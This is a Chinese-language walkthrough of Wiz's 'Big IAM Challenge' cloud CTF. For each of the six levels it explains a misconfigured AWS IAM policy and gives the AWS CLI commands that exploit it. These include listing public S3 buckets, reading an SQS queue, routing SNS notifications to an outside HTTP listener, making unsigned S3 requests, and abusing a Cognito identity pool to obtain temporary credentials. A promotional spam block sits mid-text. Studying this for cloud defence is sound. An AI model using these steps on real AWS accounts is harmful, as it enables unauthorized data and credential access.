wiz啟動了一個名為“The Big IAM Challenge”云安全CTF挑戰賽,旨在讓白帽子識別和利用 IAM錯誤配置,并從現實場景中學習,從而更好的認識和了解IAM相關的風險,比賽包括6個場景,每個場景都專注于各種AWS服務中常見的IAM配置錯誤,
Challenge1:
Buckets of Fun
We all know that public buckets are risky. But can you find the flag?
查看提示獲取本關的IAM策略如下:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow", //Effect(效果)設定為Allow(允許)
"Principal": "*", //Principal(主體)是所有用戶("*")
"Action": "s3:GetObject", //獲取物件
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*" //指定S3存盤桶中的所有物件
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket", //列出存盤桶
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
"Condition": { //條件是通過前綴限制只能列出以"files/"為前綴的物件
"StringLike": {
"s3:prefix": "files/*"
}
}
}
]
}
該策略允許任何用戶列出"thebigiamchallenge-storage-9979f4b"存盤桶中符合前綴條件"files/"的物件,該策略存在如下安全風險:
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
1、允許任何用戶對指定的S3存盤桶執行GetObject操作以獲取物件的內容,
2、允許任何用戶對指定的S3存盤桶執行ListBucket操作列出存盤桶中符合指定前綴條件的物件
解題思路:
針對s3存盤桶權限校驗不嚴格,列出桶資源物件并使用查看物件內容獲取flag,
1、獲取該存盤桶中的物件
aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/
得知files目錄下存在flag1.txt檔案,將其下載到本地,這里提示Read-only file system(只讀檔案系統)錯誤,權限問題,我們將其下載到/tmp目錄下:
aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/flag.txt
另外也可以直接網路訪問獲取:
http://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/files/flag1.txt
獲得flag如下:
{wiz:exposed-storage-risky-as-usual}

Challenge2:
We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong?
Join our queue and get the secret flag.
查看提示獲取本關的IAM策略如下:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:SendMessage", //發送訊息
"sqs:ReceiveMessage" //接收訊息
],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}
]
}
該IAM策略允許任何用戶對特定的SQS佇列執行SendMessage和ReceiveMessage操作,即發送和接收訊息,該策略存在如下安全風險:
1、該策略將操作權限授予了所有用戶("*"),意味著任何具有該策略的用戶或角色都可以發送和接收訊息,
2、該策略沒有限制允許訪問的用戶、角色或其他條件,它允許所有用戶執行SendMessage和ReceiveMessage操作,
解題思路:
針對授予特定SQS佇列執行ReceiveMessage操作獲取佇列訊息來查找flag,
1、接受訊息佇列中的資訊
aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2

2、獲取html檔案內容
https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html

獲得flag如下:
{wiz:you-are-at-the-front-of-the-queue}
Challenge3:
Enable Push Notifications
We got a message for you. Can you get it?
查看提示并獲取本關的IAM策略如下:
{
"Version": "2008-10-17",
"Id": "Statement1",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "*" //允許任何AWS用戶
},
"Action": "SNS:Subscribe", //訂閱操作
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications", //主題ARN
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io" //訂閱條件
}
}
}
]
}
該策略允許任何AWS用戶對指定的SNS主題(ARN為"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications")進行訂閱操作,訂閱條件要求訂閱者的Endpoint必須以"*@tbic.wiz.io"結尾,該策略存在如下風險:
-
全域訪問權限:該策略中指定了允許任何AWS用戶("*")執行SNS訂閱操作,這意味著任何具有有效的AWS憑證的用戶都可以訂閱該SNS主題,如果此策略不是有意為特定用戶或物體設計的,可能存在風險,因為未經授權的用戶可以執行訂閱操作,
-
通配符條件:該策略中的條件指定訂閱者的Endpoint必須以"*@tbic.wiz.io"結尾,然而,通配符條件可能過于寬松,允許任何以該域名結尾的Endpoint進行訂閱,包括未經授權的Endpoint,這可能導致未經授權的物體訂閱主題并接收敏感資訊或濫用SNS服務,
-
潛在的資訊泄露:由于該策略允許任何人訂閱主題,如果主題包含敏感資訊或重要通知,可能會導致資訊泄露的風險,攻擊者可以訂閱主題并接收敏感資訊,甚至利用該資訊進行其他惡意行為,
解題思路:
1、訂閱SNS主題
在訂閱時由于調閱條件的限制,先嘗試將訂閱訊息發送到email郵箱賬號,但是由于我們沒有以@tbic.wiz.io為后綴的郵箱賬號,因此需要對此處進行繞過,
AWS用戶可以使用SNS:Subscribe操作訂閱指定的SNS主題:
aws sns subscribe --topic-arn <主題ARN> --protocol <協議> --notification-endpoint <訂閱者Endpoint>
<主題ARN>為實際的SNS主題ARN,所使用的協議有HTTP、HTTPS、Email、SMS等,訂閱者的Endpoint具體根據策略中的條件要求,
對該題目設定SNS訂閱:
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint [email protected]

2、訂閱條件限制繞過
嘗試使用http協議進行代理監聽的方式獲取訂閱訊息:
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://43.155.79.163:8443/@tbic.wiz.io

接收到來自sns的訂閱確認,訊息提示點擊SubscribeURL確認訂閱訊息,等待一會即可接收到附帶flag的訂閱訊息:

獲取到flag如下:
{wiz:always-suspect-asterisks}
Challenge4:
Admin only?
We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it?
查看提示并獲取本關的IAM策略如下:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
},
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
}
}
}
]
}
該策略用于定義對 Amazon S3 存盤桶的訪問權限,其中包含了兩個宣告(Statement):
1、宣告一允許任何用戶存盤桶執行GetObject操作,訪問thebigiamchallenge-admin-storage-abf1321的s3儲存桶資源,
2、宣告二允許任何用戶對S3存盤桶執行ListBucket操作,列出存盤桶中的物件,該宣告有一個約束條件限制請求中的后綴必須以"files/" 開頭,并且訪問資源的主體是arn:aws:iam::133713371337:user/admin,
解題思路:
看到宣告二中限制的訪問資源主體是arn:aws:iam::133713371337:user/admin,便想著如何獲取到該用戶的憑據,然而在目前的環境中翻遍了各種組態檔和腳本檔案都未發現相關憑據泄露,且當下憑據不能用于該訪問主體,隨后轉變思路利用GetObject操作無限制進行目錄Fuzz,Fuzz出如下路徑:
/thebigiamchallenge-admin-storage-abf1321/files/
/thebigiamchallenge-admin-storage-abf1321/files/cache/
/thebigiamchallenge-admin-storage-abf1321/files/tmp/
https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt
然后再深一次Fuzz,仍無flag相關結果,最終經瑞幸樓少提醒,發現了如下引數的妙用:
--no-sign-request
該引數可以用來執行無需身份驗證的請求,使用該引數可以跳過對請求進行簽名和身份驗證的步驟,從而可以在某些情況下執行不需要驗證的操作,
aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request
aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/flag4.txt

獲得flag如下:
{wiz:principal-arn-is-not-what-you-think}
Challenge5:
Do I know you?
We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes.
查看提示并獲取本關的IAM策略如下:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"mobileanalytics:PutEvents",
"cognito-sync:*"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::wiz-privatefiles",
"arn:aws:s3:::wiz-privatefiles/*"
]
}
]
}
?
?
https://wiz-privatefiles.s3.amazonaws.com/
https://s3.amazonaws.com/wiz-privatefiles/
?
?
https://wiz-privatefiles.s3.amazonaws.com/soap/
如上策略有兩個宣告,VisualEditor0宣告允許向MobileAnalytics服務發送事件資料以及對Cognito Sync服務執行任何操作,且對這兩個服務中的所有資源都可以操作,VisualEditor1宣告允許執行GetObject和ListBucket兩個操作,來獲取wiz-privatefiles存盤桶中的物件并列出存盤桶中的內容,
解題思路:
根據題目提示得知AWS Cognito服務為主要身份提供商,問題大概率出現在此處,通過搜索AWS Cognito配置錯誤看到一篇文章:
https://www.wangan.com/p/7fy7f8abba5c0234 //通過錯誤配置的AWS Cognito接管AWS帳戶
結合該思路我們首先需要獲取到該AWS Cognito服務的identity_pool_id:

梳理下常見的獲取identity_pool_id方法:
1、通過應用程式代碼查找使用Cognito的部分,并尋找可能存在identity_pool_id的位置,通常在一些JS檔案或者介面中可能存在,
2、通過監控分析網路流量分析捕獲應用程式與Cognito之間的通信,在捕獲的網路流量中,搜索包含 identity_pool_id 的請求或回應,
3、通過搜尋查找一些組態檔或環境變數及啟動腳本等獲取Cognito相關的配置資訊,
4、通過分析應用程式日志,查找 identity_pool_id 的資訊,有時日志檔案會記錄與身份池相關的操作或配置,
5、通過aws控制臺或CLI命令列獲取identity_pool_id,前提是需要有一定權限,
結合文章思路在前端頁面獲取到IdentityPoolId:
AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});

獲取到identity_pool_id通過腳本再獲取AK密鑰進行配置:

由于當前云終端權限限制的問題,改用本地進行配置及后續操作:
aws configure
aws configure set aws_access_key_id
aws configure set aws_secret_access_key
aws configure set aws_session_token ""

獲取到Flag如下:
{wiz:incognito-is-always-suspicious}
Challenge6:
One final push
Anonymous access no more. Let's see what can you do now.
Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role
查看提示并獲取本關的IAM策略如下:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
}
}
]
}
該策略用于定義IAM角色的信任關系,當cognito-identity身份服務進行Web身份驗證時,可以使用STS的AssumeRoleWithWebIdentity操作請求臨時憑證進行驗證身份,此操作將驗證來自cognito-identity身份服務的用戶身份,并根據策略規定的條件和權限,為該用戶生成一組臨時憑證,這些臨時憑證具有一定的時效性,可用于對 AWS 資源進行訪問,
解題思路:
題目中提示不再有匿名訪問且需要使用身份aws:iam::092297851374:role/Cognito_s3accessAuth_Role進行操作,策略資訊也指明了cognito-identity驗證中的aud必須是identity_pool_id為us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b,思路如下:
1、獲取身份識別符號identity-id
aws cognito-identity get-id --identity-pool-id "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
2、獲取對應身份標識的令牌token
aws cognito-identity get-open-id-token --identity-id 獲取到的identity-id
3、使用獲取到的身份驗證令牌指定目標角色來獲取臨時訪問憑證
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name 自定義session名稱 --web-identity-token 獲取到的token令牌

4、根據獲取到的AK密鑰配置并獲取flag
aws s3 ls
aws s3 ls s3://wiz-privatefiles-x1000
aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt -

獲取到flag如下:
{wiz:open-sesame-or-shell-i-say-openid}
更多網安技能的在線實操練習,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/556417.html
標籤:其他
上一篇:從零開始初識機器學習
下一篇:返回列表
